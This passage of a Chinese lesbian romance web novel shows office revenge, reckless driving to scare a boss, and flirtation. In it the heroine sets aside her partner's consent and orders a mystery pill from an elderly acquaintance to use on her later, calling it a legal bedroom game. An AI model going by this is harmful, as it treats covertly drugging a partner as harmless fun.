王奶奶:【其实上次我给她号过脉了,我不建议用药,我怕你受不了。】
时千岁的道德和欲望在激烈的抗争,根本无瑕深思王奶奶话中含义。
最终,时千岁狠狠把“尊重言浠”四个字甩到脑后,回道:【我不接受你的建议。】
【这两种我都要。】
毕竟就算用也要等到确定关系后,那么这样应该就不算触犯法律只能算妻妻之间的小情趣了吧,时千岁想。
…
时千岁过于认真,以至于连言浠什么时候躺到了她身边都不知道。
言浠就这么静静的注视着她,许久才发出声音,“和谁聊天聊的这么开心?”
时千岁一惊,慌不迭地把手机扣到了身下,可不能让她看到这么阴暗的聊天记录。
言浠心中闪过一丝不悦,连带着语气都变得很淡,“睡吧。”
不开心?时千岁这次成功抓住了她情绪,软下声音解释道,“我在跟王奶奶聊天,但具体内容我现在不能告诉你,还不到时候。”
跟那个庸医有什么好聊的,言浠心想。
时千岁把长手长脚规规矩矩的放好,跟言浠的背影道了声,“晚安。”
这就睡了?言浠诧异地转过了身子,不觉得忘了点什么吗?
目光相对的一瞬,时千岁好像从中抓住了点什么,但又不确定,试探道,“我能抱着你睡吗?”
“我绝对不会对你动手动脚。”
言浠淡淡的“嗯”了一声,又在小家伙抱过来的瞬间几不可察的勾动了下唇角。
时千岁睡眠极好,没过几秒钟就睡了过去。
言浠轻轻地搂住时千岁的绵软的腰肢,把她完全带进自己怀里,感受着小家伙绵长平稳的呼吸,言浠眼皮逐渐发沉,几秒过后,彻底陷入了黑暗。
…
第二天,两人下午请了半天假去机场送走了韩曲凌,王奶奶的快递邮到了公司,时千岁特地折返回去取走,一路紧张兮兮地抱在怀里,如同护着世间珍宝一般。
回到家,时千岁一头扎进了自己的卧室,又反锁上了门,这才小心翼翼地打开盒子,一张详细备注了服用注意事项的药方和一颗粉色的药丸。
时千岁再三向王奶奶确认这两种药都不会对身体产生任何危害后,这才小心翼翼的拉开床头柜,放了进去。
转头就又敲响了言浠卧室。
言浠不用想都知道她的来意,而时千岁更是连借口都懒得找,直接滚到了言浠的大床上。
…
言浠想,小家伙似乎有一种很特别的魔力,有她在身边,总能睡得异常安稳,于是接下来的日子两人同床共枕成了彼此之间的心照不宣。
时千岁白天摸鱼,晚上怀拥美人入睡,这小日子过的似神仙。
直到这天,传来一个消息。
——孙建仁马上回来了。
快乐戛然而止。
整个办公室愁云密布。
“几点的火车来的?”周琪琪精神涣散地问。
时千岁查看了一下订票信息,“下午三点。”
周琪琪长叹一口大气,“时日不多了~”她话锋一转,担忧地望向时千岁,“不过我更担心你,这货回来不一定怎么整你呢。”
时千岁的目光盯在了一旁打电话的孙晋身上。
“好的没问题,我去接您,钥匙在哪?”
孙晋走向孙建仁办公室,不多时,拿了一把车钥匙出来
时千岁紧紧盯着那把钥匙,心中有了主意。
“该来的总会来,与其别动承受不如主动出击。”
啥意思啊?周琪琪满头雾水……
只见时千岁起身向孙晋走去,满脸讨好。
“我能不能跟你一起去接孙主管啊?”
周琪琪:“???”
孙晋:“???”
她疯了?
“孙主管现在最不想见到的就是你,”孙晋冷冷道。
时千岁在脑海中想着言浠的脸,并安慰自己就当是对言浠撒娇,这才软下了语气,“我错了嘛,我这次就是想去给他道歉的,”
“你知道的现在找个工作不容易,我那年老的爸身体不好的妈,还有不省心的姐以后都得指望我呀,我家里穷的都吃素了…”
时千岁越编越来劲,甚至都快被自己感动到了。
“求你了,晋哥。”
真烦,孙晋皱着眉,“随便你。”
“但是我得提醒你,孙主管现在火气大的很,他要是气急了对你动手我可真拦不住。”
周琪琪虽然不理解时千岁的举动,但听到“动手”两字时,立马站了出来,“我跟你们一起去,”不然她不放心。
几人来到地下车库,孙晋按下钥匙。
一辆霸气的白色方盒子越野车大灯发出刺目白光。
“哇,”周琪琪忍不住的称赞,“好帅啊,都不敢想这车要是开街上去能有多拉风。”
“那是”孙晋炫耀道,“老贵了,够我们奋斗大半辈子了。”
看时千岁一脸疑惑的样子,孙晋轻蔑地挑了挑眉,“烈马都不认识?”
她确实没在自家车库里见过这个牌子,上了车,时千岁给时千金发微信。
【姐,BRONCO前脸,屁股后边有匹马标志的是什么车?贵吗?】
霸道且总裁回,【不到一百的便宜货】
时千岁:“”
周琪琪满脸艳羡,好奇地打量着其中内饰,“咱也是坐上豪车了…”
时千岁:“”
如果这都算豪车,那她那辆全球限量版的法拉利LaFerrari算什么?
孙晋满脸严肃地启动了车子。
一路上小心谨慎的行驶,生怕挂到蹭到孙建仁的爱车,一个小时的车程硬生生的开了两个半点。
难怪这么早从公司出发,时千岁无语。
火车站出站口,时千岁在一众提着大包小包行李的旅客中一眼就望见了孙建仁。
只见他两眼无神胡子拉碴,再没了往日的意气风发,整个人像是苍老了十岁。
时千岁拼命忍笑,就是压不住那上扬的嘴角。
直到孙建仁望过来的那一刻,时千岁心里一急咬了咬牙,使劲地掐了把大腿嫩肉,疼痛袭来成功逼下了两行热泪。
时千岁一拍大腿,“我的孙主管哎,您受苦了。”
哭丧呢?孙建仁看见她气不打一处来,来回大几十个小时的火车硬座差点要了他半条老命,孙建仁两眼淬着毒,扶着快要断掉的腰一步步向她走来。
气势嘛不太行,但表情嘛很精彩,像是要把她生吞活剥一般,时千岁看着他狼狈的样子又差点绷不住了。
周琦琦看气氛不对,人立马冲出来挡在了时千岁面前,把她护的死死的。
时千岁惊讶之余,心脏被这义气举动熨帖地暖暖的。
周琦琦梗着脖子,“你要干什么?”难不成真想要动手?
他能干什么?打又打不得,犯法,骂吧未免又太便宜她了,让她收拾东西滚蛋吧他还没有这个权利,孙建仁要憋屈死了,一身火气连带着吐沫星子全喷到了周琦琦脸上。
“滚蛋!”
周琦琦被吼的身子抖了抖,但依然没有后退半步。
时千岁心中一阵感动,她拉住周琦琦胳膊,把人往身后拽了拽,眼神示意她“没事”。
这才走到孙建仁面前,讨好地接过他手中行李箱,“孙主管我说我不是故意和您过不去的,您信吗?”
“您大人不记小人过,原谅我吧。”
眼前人姿态放的极低,眼里滚动着泪花,一副犯了错委屈的模样,语气也真诚,要不是把他微信拉黑,他还就真信了。
小小的年纪怎么这么能装呢?
时千岁见他不撒手,哭得更厉害了,抽抽搭搭的,连肩膀也微微颤动着。
惹得路人纷纷驻足,没一会就围了一个圈。
路人的指指点点落在孙建仁身上,孙建仁脸直发烧,急忙松开了手,“哭什么哭,”搞得像是欺负她了一样,“有事回公司再说。”
说完甩下几人,匆匆往前走。
因动作幅度过大,拉扯到腰部肌肉,疼的呲牙咧嘴的,十分滑稽。
时千岁眼底闪过一抹狡黠,顺手就勾过了孙晋手中的车钥匙,追了上去。
到了停车场。
时千岁殷勤的帮孙建仁打开车门,“我来开车吧,您好好休息一下。”
孙建仁轻蔑的“哼”了一声,一点也不信任她,“不行。”
孙晋到是没什么意见,他刚拿驾照不久,来时紧张的不得了,衣服都湿透了,他十分主动的坐到了车后座。
时千岁一副没见过世面的模样,宝贝似地摸了摸,“看这笔挺的线条,结实的车身,妥妥的肌肉猛禽,好帅啊简直是梦中情车,求你了你就让我开一下呗。”
孙建仁即便再讨厌眼前女孩但听到她夸自己的爱车还是忍不住扬起嘴角,加上升级改装,他可是攒了好几年的钱才拿下的,平时喜欢的要死。
“那你慢点开,”交代完,孙建仁扶着老腰钻进了后座。
时千岁坐到主驾,空轰了一脚油门,又试了试方向盘的手感,心里对这辆车的性能以是了解了个八九分,
“嗡”车子发出一声野兽般强劲的嘶吼,车内几人身躯俱是一震。
孙建仁有点紧张,语速都快了很多,“不是,你到底会不会开车?”
时千岁根本不给他反悔的机会,前进挡一挂,给油就走。
周琦琦坐到副驾驶偷偷问她,“千岁,你能行吗?”
时千岁十分自信地挑了挑眉,并友情提醒,“把安全带系好,”又问,“想不想体验一下速度与激情?”
什么意思啊?周琦琦莫名有些心慌。
时千岁神秘一笑,猛地给了一脚油,越野车一声轰鸣,如同巨兽一般冲出了停车场,与主干道中的车流交汇。
周琦琦紧紧抓住了扶手,身后那两人更是绷紧了身体,冲她吼。
“开那么快干什么”
时千岁单手勾着方向盘,一言不发,并又默默给了脚油,车子压着限速线在车流里穿梭。
“慢点!”
“要撞上了!”
前方“大运”在眼底逐渐放大,孙建仁急的汗都下来了。
“刹车!”
“快刹车,刹车烫脚是吗?”
时千岁看了眼后视镜,确认变道条件,方向盘一打,车头几乎是挨着车屁股甩了过去。
几人同时松了一口气,孙建仁忍不住爆了粗口,“你他x的,给我靠路边停车,我来开!”
时千岁眼底闪过一丝燥意,脸也沉了下来,喝道,“闭嘴!”
爱车和性命在别人手上,孙建仁不得不隐忍,他哑了火,心里把她祖宗十八代都问候了一遍。
时千岁看了眼中控后视镜,看到孙建仁憋成猪肝似的脸色,就知道他心里没放好屁,她勾唇冷笑一声,方向盘一打拐上了辅路。
街景在车窗外飞速倒退,植被开始变得茂盛了起来。
孙建仁偶尔往车窗外望了一眼,突然惊觉,他们好像是在往山上开。
“时千岁,你要带我们去哪?”
“说话啊时千岁”
时千岁始终沉默不语,脸色阴沉的可怕。
孙建仁心里突然升腾起了一个不好的预感,脸唰一下就白了。
越野车一路攀爬,时千岁速度依旧不减。
眼前前方是一个凶险大弯,再不减速必定侧翻,万一冲下悬崖那可是会车毁人亡的!冷汗一颗颗从孙建仁的额间滑下,他再顾不得所谓的自尊,语气里满是急迫和哀求,“小时啊,因为工作上的那点小事咱不至于想不开哈,你看你还这么年轻,未来前途一片光明,对不对?”
时千岁心中悲凉浮上眼底,连语气都变得生无可恋,“没有光明了。”
“怎么会没有光明了呢?”孙建仁心里咯噔一下。
“我惹了你你肯定会报复我,想起以后暗无天日的加班我就觉着没什么意思。”
“姑奶奶,”孙建仁急死了,“我以后从你眼前消失行吗?你想干嘛就干嘛,我再难为你我是你亲孙子。”
时千岁又是一声冷笑,“不信。”
越野车快速逼近弯道。
“啊啊啊啊!”孙建仁尖叫出声。
直至入弯的那一刻,时千岁终于有了动作,她单手扣住方向盘,右手将分动箱切到高速四驱关闭ESP,紧接着一脚重刹,车身猛地往前一压,感受到前轮咬死地面,时千岁瞬间拉死机械手刹,猛打半圈方向盘,后轮疯狂空转。
时千岁反打方向修正角度,同时踩下油门,胎烟混着尘土在轮拱间炸开,车尾画出了一道漂亮的弧形。
时千岁看了眼窗外的流动色块,又看向后边那个吓到失语,双目紧闭的人,心道,可惜了。
这么完美的过弯他都没看到,啧,没意思。
时千岁开车给人送回了公司,下车后,才看到孙建仁裤子湿了一片,当然,孙晋也好不到哪去。
她没再管车里两个瘫软的人,从副驾驶艰难地拉出了周琦琦,扶着她往公司走。
脚一接触踏实的地面,周琦琦的心才稳稳当当的落回到了肚子里,“千岁你可吓死我了!我刚看你表情还真以为你要跟他同归于尽呢。”
“同归于尽也不能带着你啊,姐的演技牛不牛?”时千岁想,她不当演员可惜了。
周琦琦伸出大拇指给与肯定,“牛!”
想到孙建仁那狼狈的样子,周琦琦狠狠地啐了一声,“该!怎么不吓死他呢,吐沫星子喷我一脸,恶心死了!”
“我们把他整得那么惨,你说他会真放过我们吗?”周琦琦还是有点担忧。
时千岁云淡风轻:“会,除非他想当孙子。”
周琦琦崇拜的目光看着她,“有勇有谋长得又好看性格又好,人怎么能这么完美,”她郑重宣布,“你以后在我心里排第一了!小的愿意为你瞻前马后做牛做马。”
时千岁挑眉,“真的?”她还记得上次周琦琦那番不看好她的言论呢,于是又问了一遍,“那你会磕我和言经理的cp吗?”
周琦琦在心里抉择了一番,随后坚定道,“会!大不了我自拆cp。”
这就对了么,时千岁十分欣慰,开心地哼起了小曲
“什么事这么开心啊?”
办公室里的同事们见二人回来,纷纷围了上来,表达着关心,“你们不是去接老孙了吗人呢?”
“姓孙的没有难为你俩吧?”
提到这个,周琦琦立马兴奋起来了,开始给一众描绘时千岁的神操作,从表情到动作,那可谓一个精彩纷呈。
“我跟你们讲,老刺激了,”周琦琦做了一个猛打方向盘的动作,“我肾上腺素飙升。”
“这给他们吓得嗷嗷惨叫,再也嚣张不起来一点。”
这时候不免有人发出关心提醒,“千岁,多危险啊,以后可别这么干了啊。”
时千岁勾起唇,应道,“知道了,我是老司机心里有谱,”那条盘山道,她跑了有近百次了,熟悉的很。
话音刚落,眼尾余光便捕捉到了一抹熟悉的身影,就那么静静地倚在门边。
时千岁莫名心里一慌,言浠的质问下一秒便传到了耳边。
“所以,这就是你说的解决方式?”
虽然她表情淡淡的,声音也没有夹杂任何情绪,但时千岁就是知道她生气了。
时千岁刚开口解释,言浠扭头就走,脚步飞快。
时千岁急忙追了过去。
进了办公室,时千岁带上了门,从身后一把抱住了言浠的腰。
“松开!”
“不松,”时千岁黏黏糊糊向她撒娇。
“出去!”
“不要。”
时千岁:“你听我给你解释好不好?”
言浠直接惯用了她的格式,甩给她两个字,“不听!”
时千岁:“”
“有本事你在多说一个字?”
言浠:“就不听!”
一字之差让冰冷的话瞬间染上鲜活的情绪,真可爱,连生气都这么可爱,时千岁想。
34
第34章
◎以一种极为亲密的姿势压到了言浠的身上◎
依稀听到身后人的轻笑,言浠压抑的火气瞬间爆发,掰开纠缠在腰间的手,她回过头目光冷厉地逼视着眼前那毫不知错的小家伙。
“很好笑吗?丝毫不顾及自身安全和他人安全,施展极端报复、危险驾驶,这就是你说的解决方法?”
从听到周琪琪描述凶险经过时而积压的心惊和后怕此时通通化为尖锐的质问一字一句砸向时千岁身上。
时千岁心里瞬间涌起几分委屈,她咬紧嘴唇,强忍住了泪水,“我不想依赖家里和你的力量,但我又不想轻易放过他…”
几天前,周琪琪曾八卦过,孙建仁出差时,有次醉酒在背后骂公司、骂言浠,言语极其难听。
若用一个还算体面的成语形容,便是“牝鸡司晨。”
难为她自己尚可忍受,但辱及她心尖上的人,时千岁实在咽不下那口气。
言浠一愣,万万没想到还有这一层原因,心底蓦地一软,看向眼前人的目光也褪去了冷意。
时千岁见她面色微缓又说,忙补充道,“而且,我*真的是老司机。”
她从小便喜欢车,身体好些后开始接触赛车,有专属的教练和场地,还拿到了职业卡,要不是时来运始终担忧危险,说不定她真会投身这一行。
说到这时千岁语气带上了几分得意,“所以我心里有十足把握,再说我一没妨碍他车行驶,二遵守法律交规,哪有危险驾驶…”
还炫耀上了!言浠冷笑,“那你很厉害啊。”
时千岁这会沉浸在自己的世界里,浑然不觉言浠那复燃的怒意。
“还行吧,我还有很多更厉害的技能,以后你会慢慢知道的。”
再抬头时,眼前已空无一人。
时千岁:“哎???”
不是解释的很清楚了吗,怎么还在生气,时千岁困惑地挠挠头,片刻后还是脚步轻快地追了上去。
…
林沐涵在门口站了足足五分钟,她本来是来送文件的,却无意间听完了全程,心中惊愕不已。
在她与言浠共事的时光里,言浠情绪的外露不过寥寥数次,且皆因工作而起,就连上次她醉酒失态表白,次日言浠也未曾有一丝责怪。
而如今…
作为旁观者,她看得很清楚,言浠所有的情绪波动,源头皆是关心——绝非对妹妹的那种关心。
关心则乱。
言浠路过林沐涵,淡淡颔首,“我先下班了。”
随即掏出车钥匙,朝身后追上来的小家伙扔了过去,语气颇凶,“既然你这么厉害,以后你来开车!”
身后小家伙稳稳接住钥匙,眼底漾开笑意,“给你开一辈子都行。”
言浠竟也会使小性子了,林沐涵默默看着这一幕,眼神逐渐黯淡。
或许那个红发女说得对,她和言浠或许真的不合适。
时千岁走出几步,又特意折返回来,朝林沐涵挑衅,“林经理,你先忙啊,我也得走了,你知道的,我得忙着回去哄未来女朋友了。”
林沐涵:“!!!”
这小绿茶如今装也不装了,真让人讨厌!
林沐涵狠狠瞪她一眼,还是没忍住,从齿缝里挤出两个字,“幼稚!”
…
时千岁一路甜言蜜语,变着花样逗她开心,言浠始终沉默不语。回到家,更是径直走进了卧室。
这女人这么难哄吗
不过好在没有把她赶出卧室,时千岁暗自庆幸。
她悄悄溜进房间,顺手带上了房门。
“言浠姐,你还生我气吗?”
经过一路上对小家伙车技的观察,言浠心里的火气已经消失的七七八八了,但心里生出个隐秘的欲望——
她居然想让小家伙再多哄她一会儿。
言浠板故意板起脸,拿起睡裙,目不斜视地越过时千岁,走进了浴室。
徒留时千岁在原地发懵
言浠沐浴完毕回到卧室,就看到时千岁坐到了书桌前,支起了电脑,此时聚精会神的看着电脑屏幕。
言浠绕到她眼前,拿起了吹风机,鼓噪的风声充斥房间,时千岁非但没有受到任何影响,反而笑的愈发频繁。
言浠心底升起一丝燥意,“啪”的把吹风机一关,幽幽道,“又在和那庸医聊天?”
“啊?这次不是,”时千岁没多做解释,合上了电脑,放下一句“我去洗澡啦”就匆匆跑出了房间。
时千岁回来时,言浠已经先行躺到了床上,闭上了眼睛。
这么早就睡了?时千岁把灯光调到最暗,轻手轻脚爬上了床,紧挨着言浠躺下,手也自然而然地搭到了她的腰间,轻道,“晚安。”
言浠倏地睁开眼,拨开了腰上的手,并留给了她一个凉冰冰的背影。
还不让抱了,这女人,时千岁黏黏糊糊地贴了上去,像个八爪鱼一搬把长手长脚紧紧地缠住到了眼前人身上。
“我错了,别不理我了呗。”
温热的气息混着柔软的嗓音拂过耳畔,身后俱是一片柔软,言浠心湖微荡,蓦地想起小家伙睡前鬼鬼祟祟的举动,脸色又沉了下去,心道,错了还能笑得那么开心?
时千岁将下巴抵在言浠肩头,语调轻柔,又耐心十足,“不要对我冷暴力好不好,”妻妻哪有隔夜仇,“而且我刚刚只是去微博求助广大网友了,没和任何人聊天。”
言浠奇道,“求助什么”
“我说我害一个可爱的女人担心了,她很生气,我该怎么哄她。”
言浠屏住呼吸,静静地等待下文。
察觉怀中人身体逐渐放松,时千岁暗暗松了口气,继而认真道,“她们让我好好反思一下自己。”
“第一,你生气时绝不跟你顶嘴,第二以后有什么事我都事先和你商量在做决定,第三以后会把自身安全和他人安全放在第一位,”有点忘词了,时千岁摸出一早准备好的小纸条,继续道,“你永远不知道意外和明天哪个先来,所以要心存敬畏之心,时刻小心谨慎,三思而后行。”
言浠听到“意外”两字时,眉头骤然蹙紧,蓦地转身,“不许胡说。”
猝不及防的回眸,让时千岁瞬间慌乱,她急忙把纸条往身下藏。
“拿来。”
时千岁:“”
哎,被发现了,她乖乖交出小纸条。
难怪听着这么耳熟,言浠看着那歪歪扭扭宛如蛛爬般的字迹,艰难忍笑。
“从哪抄的?”
时千岁有点心虚,“不能算抄,顶多叫借鉴,”言浠不能因为这个又生气吧,她急忙发誓,“就算借鉴,我的态度也是百分百真诚的!”
言浠没与她计较,好心情道,“那网友们还教你什么了?”
听她话中的语气,与隐隐上扬的嘴角,时千岁心头蓦地闪过了一个念头。
言浠该不会在等自己继续哄她吧
既然如此的话,时千岁做了个大胆的举动。
她翻身而上,以一种极为亲密的姿势压到了言浠的身上,柔软贴着柔软。
娇嫩摩擦着娇嫩。
言浠还未来得及惊呼出声。
下一秒,手便被身上的小家伙强势的放到了一个圆润饱满又富有弹性之处。
带着清香的呼吸拂过面颊,温热自那处蔓延,绯色顷刻间染红了耳根,言浠目光闪躲,不敢直视眼前人的眼,“你你要干什么?”
时千岁勾起她散落在枕边的发丝,这次没有了掩饰,那一抹鲜艳欲滴的红便直闯闯的撞入眼底。
原来言浠也会害羞啊,前几次坦诚相见时怎么就没发现呢。
时千岁愈发大胆,直白又炙热的目光明目张胆的落在言浠那抹动人的红上,“网友还教我,惹你不开心的话,就让你狠狠惩罚我。”
言浠深吸一口气,心道,这小家伙怎么就不知害羞?
“还有更夸张的,你想不想听”
言语间满是撩拨的意味。
胆子够大的,不过确实该长长教训,言浠遵从心意地抬起了手,在那饱满的臀、肉上落下了重重一巴掌。
清脆响亮的一声“啪”伴随着时千岁的痛呼在房间内回荡。
言浠满意地捻了捻指尖。
并意犹未尽道,“还来吗?”
时千岁彻底老实了,乖乖从言浠身上爬了下来,揉着肿痛的屁股,蜷缩成了一团
翌日一早去了公司。
时千岁从前台取了昨晚就预定好的鲜花,来到了工位。
“周琦琦,交给你个任务。”
“请尽情吩咐我,我的小美人,”周琦琦转动椅背,转过身来,见时千岁怀中抱着一束精美的小花,霎时间眼睛一亮,八卦道,“千岁你是不是有情况了?谁送的,是咱公司的吗?快跟我讲讲我好好给你把把关。”
周琦琦八卦起来嘴跟机关枪似的,时千岁紧急叫停,先是肯定了她前半句,“确实有情况,”话锋一转,“不过,花不是别人送我的,而是我要送给言浠的。”
“哦送言经理啊,那这未免也太过于寒酸了吧,你看看林经理起手就是九百九十九朵玫瑰。”
“不对,”周琦琦终于反应过来,猛地拔高了音量,“你说甚”
“送言经理?”
“不是,千岁你玩真的”
见时千岁神色认真,周琦琦震惊的话都说不利索了。
“你…你真是闷声干大事啊!”
35
第35章
◎难不成小家伙都知道了◎
面对周琦琦的连番追问,时千岁不想过多解释,把花递给她,“去吧,帮我送过去。”
又趁周琦琦拒绝之前,把她的话堵回了肚子里。
“你不是说以后为我做牛做马?什么都听我的?”
周琦琦一噎,片刻,认命般地接过了那捧鲜花。
时千岁交代了她几句话,随后轻轻把她往外一推,送出了办公室。
五分钟,周琦琦整整在言浠办公室门口墨迹了五分钟,这才做足了心理准备,屈指在门上落下了不轻不重的三声。
“叩叩叩。”
周琦琦紧张地屏住了呼吸。
“请进。”
没有什么情绪起伏,说明心情应该不错?周琦琦宽慰地想。
她轻轻推开门,忐忑开口,“言经理。”
言浠冷眸望过来,薄唇轻轻吐出两个字,“有事”
周琦琦看着她不苟言笑的脸,心里“咯噔”一声,妈呀气场好强,好吓人!
怎么不说话?言浠:“嗯”
周琦琦回神,猛地鞠了个九十度的躬,随后挺直了腰板,中气十足道,“言经理,好!”
言浠:“”
怎么跟小家伙关系不错的,脑回路都都有点莫名其妙呢?
气氛略微的有那么点尴尬,周琦琦清了清嗓子,把花郑重地递了过去。
言浠扬眉不解。
“千岁送您的!”周琦琦解释。
言浠看了眼她怀中的精致小花束,眉眼染起笑意,“那她怎么不自己来?”
“千岁说”周琦琦把花放到桌子上,“秘密。”
言浠:“”
周琦琦一路小跑回到了工位,一屁股坐进椅子里,拍着胸脯平复心跳,“吓死我了吓死我了。”
时千岁转椅背,一副成竹在胸的模样,“如何”
“我以外你把我当炮灰,我都做好了被劈头盖脸一顿骂的准备了,”周琦琦喝了口水压惊,想像言浠的样子对着空气一指,“这位员工,现在是上班时间,你不知道吗?”周琦琦停顿了下,颇有威严地加了个鼻音,“嗯?”
“万万没想到,”周琦琦添油加醋的形容一番,最后星星眼,“我女神学姐不但没有生气,反而还关心我,天呢。”
“她问我实习前是不是刚军训完,让我注意注意休息,神经别崩的太紧。”
时千岁:“???”有点莫名其妙。
“什么高高在上,什么冷漠到骨子里,都是骗人的,我偶像明明那么平易近人,”话锋一转,周琦琦看着时千岁的眼睛里又多了一层崇拜,“你可真神啊,我以为就算你喜欢也是单相思,万万没想到”
时千岁挑眉,“服了吗?”
周琦琦重重点头,“心服口服,以后我将把你们这对cp锁死,名字我都给你们起好了,就叫“千言万语”怎么样?”
时千岁欣慰地拍拍她肩膀,“不错。”
她之所以派周琦琦去,其一是想让周琦琦彻底信服,别再磕那些有的没的,其二想让周琦琦改变对言浠的看法,显而易见,目的都达到了。
当然么,还有一条最重要的一条,那就是给言浠心里埋下一颗种子
言浠的办公室依旧简约。
冷白色的墙面、线条利落的办公桌,文件整整齐齐码放在上边。
中央空调孜孜不倦地吐出低温空气,整个空间里都弥漫着一种让人沉静的冷感。
然而,此刻这冰窖的正中心,却突兀地盛开着一团小小的、灼热的火焰。
它就那么静静的立在言浠宽大的办公室一角,与周围的环境格格不入。
金灿灿的太阳花饱满得几乎要溢出生命力,厚实的花瓣像浓缩的夏日阳光,毫不客气的散发着暖意,细碎洁白的小雏菊簇拥在周围,带着清晨露珠般的清新和纯真,安静而美好。
言浠坐在宽大的皮质转椅里,脊背挺的笔直。一份摊开的季度报表占据了桌面的大部分空间,但她握着钢笔的指尖,却悬停在纸页的正上方,久久没有落下。
目光仿佛被某种无形的磁力吸引,一次又一次的,不受控制地飘向那束花。
每一次目光的碰触,都像在平静的湖面上投下了一颗滚烫的石子。
看到那轮耀眼的金黄时,取而代之的是一张无比清晰的笑脸——那笑脸是如此明媚、坦荡,带着太阳花般毫无保留的热力,仿佛能驱散世间所有阴霾,小家伙的笑声似乎就在耳边响起,如银铃般清脆,言浠握着笔的手指无意识地收紧。
当她的视线滑落到那些星星点点的白色小雏菊上时,那笑容又仿佛被一层柔光笼罩,变得格外温软、纯净,像初生小鹿一般,带着雏菊般的纤尘不染。那份纯澈,总能轻易地穿透她习惯性筑起的高墙,让她心底某个角落悄然塌陷。
钢笔尖在报表上晕开了一个小小的墨点,言浠浑然不觉。
她搁下笔,修长的手指无意识地伸向那束花,指尖在离那饱满的花瓣还有几厘米的地方停住了,像是被那无形的暖意烫了一下,又缓缓缩回,阳光正好从百合窗的缝隙斜射进来,精准地打在那束花上,那热烈的光芒跳跃着,映在她素来沉静无波的眼底,搅动起一片难以言喻的波澜。
恰逢过来送文件的林沐涵,刚好撞见了这一幕,心中黯然的同时,有一个答案逐渐清晰明了,片刻,落在门把手上的手指渐渐松开,她一步一步地退回到了阴影里
一上午的时间,时千岁关注点全在手机上。
那置顶的微信却一直没有动静。
怎么回事?不应该啊,时千岁再一次克制住了给言浠主动发信息的想法,
手刚一缩回去,手机震动声便响起。
“嗡嗡。”
时千岁小心脏随之震了震,随即,激动地捞起了手机。
果不其然,屏幕上横着一条“两个爱心”发来的消息。
看来埋下的那颗种子发芽了,目的达成,时千岁也不着急了,不紧不慢地滑开屏幕。
聊天框里简简单单地躺着一个字,【在?】
时千岁看见这么冰冷的字时,心脏一滞,险些没背过气去,手尖狠狠地戳向屏幕。
【转人工!转人工!转人工!】
对方撤回了一条消息。
时千岁满意了,慵懒的往椅背上一靠,静等下文。
“爱心”:【为什么给我送花,又为什么不亲自来?】
自然是哄你开心啊,但时千岁才不会这么讲,她认真思考片刻,回道,【以往人们送花被赋予了各种意义,比如表达爱意、节日纪念或者代表浪漫。而我没有这么多繁琐的理由,只是恰巧看到这束花和你很相配,我希望它能给你带来温暖。】
时千岁郑重地打上了一行字:【因为你很重要。】
【至于为什么不亲自来,因为你昨天下手太重了,我屁股疼了一晚上,哼哼,生气。(哄不好了.jpg)(滚来滚去.jpg)】
对面一个停顿。
随后发来一条消息:【那我给你揉揉?】
时千岁眼眸微微亮。
怎么还有意外之喜
下班回家后。
言浠打开了电脑,特意叮嘱了时千岁不要打扰。
不出五分钟,时千岁也搬来了电脑,向她走来。
就知道,这小家伙不会这么听话,还好她眼观六路耳听八方,及时关闭了码字软件,翻出了事先准备好的工作文件。
“言浠姐,介意我坐在你旁边吗”时千岁笑的乖巧,未等回复便麻利地搬了个小板凳,坐了下来。
言浠:“”
“随便你,”坐都坐了,还问。
时千岁这段时间忙于追求言浠,好不容易捡起的写文,又搁置了。昨天为了寻求帮助,一狠心答应了读者今天更新,这不,连澡都没洗,就早早打开了电脑。
时千岁开始聚精会神地顺大纲。
言浠瞄了时千岁一眼,见她神情认真,放下心来,偷偷打开了码字软件。
卧室里响起密集的敲击键盘声。
但不出两分钟。
时千岁悠悠转过头来,“言浠姐。”
言浠一惊,文档来不及保存就点击了退出键。 !!!
整整四千字!
言浠目光剧烈晃动,想发火又找不到途径。
最后只憋出了一句,“什么事?”
时千岁指尖摩挲着鼠标滚轴,叹了口气,“没什么,有一点点无聊而已”
言浠:“!!!”
“对了,言浠姐,花你放公司了吗”
言浠的怨气快溢出屏幕了,又在时千岁看向她的瞬间强行收了回去,“我找了个花瓶插起来了。”
这么用心对待吗?时千岁心情好得不得了,“你要喜欢我天天给你买。”
看她越聊越兴奋的架势,言浠急忙按住了她的头,“好了,我要继续忙了。”
“哦,”时千岁强行把注意力转移到了电脑屏幕上。
不出五分钟。
再次转过了头,“对了,言浠姐。”
言浠:“!!!”
看来今天这个字又码不了了,她“啪”一声,合起了电脑。
“又怎么了!”
时千岁肩膀一抖,眼底涌起几分委屈,“你干嘛凶我?”
言浠:“”
说又说不得,言浠叹气,“我凶你了吗?那不好意思,所以你到底有什么事?”
“也没什么,就是我昨天不是给你转发的我的微博,不知道你看了吗?”
言浠如实道,“没有。”
“这样啊,”小心思落空,时千岁眼底流露出一丝失望,继而又说道,“那好吧,我想告诉你一个秘密。”
她不打算瞒着言浠,“其实我还是一名作者,写百合小说的,对了,韩叔叔说她也是名作者,所以你两怎么认识的?”
“!!!”
这个大嘴巴!
言浠闭了闭眼,“韩曲凌还说什么了!”
“哦,”时千岁说,“她说你有过一段很短暂的感情。”
不是,她有病吧,言浠太阳穴狂跳。
“哎,言浠姐你干嘛去啊?”
还能去干嘛,当然是去问候韩曲凌!
“你等等,我还没讲完,”时千岁起身拉回了她。
“我还有个最重要的事,要跟你说,其实我之前也有过一段感情。”
言浠心脏被高高的提起,神色霎时间慌乱了起来。
“这跟我跟我有什么关系。”
“当然有关系!”
时千岁一个停顿,“你说呢”
轻飘飘的声音落入心里,掀起了惊天骇浪,言浠惊恐地想。
难不成小家伙都知道了
36
第36章
◎大黄丫头!◎
时千岁突然提起这个话题,是经过深思熟虑的,她想,两个人在一起的前提是一定不能有所隐瞒,尤其是感情问题,否则就如同一颗定时炸弹,始终存在隐患。
言浠急,“所以你都知道了?”
时千岁:“嗯?”
知道什么?言浠姐怎么这么大反应?时千岁一头雾水,视线不经意间扫过她被汗水打湿的发梢,又问,“言浠姐你很热吗?”
时千岁起身去床头柜上拿起了空调遥控器,看到显示屏上的数字——24度。
心道,不应该啊。
她往下调低了两度,又坐回到言浠身边。
送风口徐徐送出冷风,一下又一下打在言浠身上。
言浠渐渐恢复冷静。
韩曲凌虽然平时不靠谱点,但这件事上应该不会出卖她,再结合小家伙刚刚的语气和表现,她应该没有掉马,是她自乱阵脚了。
她够到一旁的水杯,喝了口水压压惊,这才恢复镇定,“没事,你继续。”
“哦,”时千岁继续刚刚的话题,“对了我说到哪了?”
言浠提醒,“感情,网恋。”
“我有说到我们是网恋认识的吗?”时千岁疑惑。
“噗”言浠一口水喷到了空中。
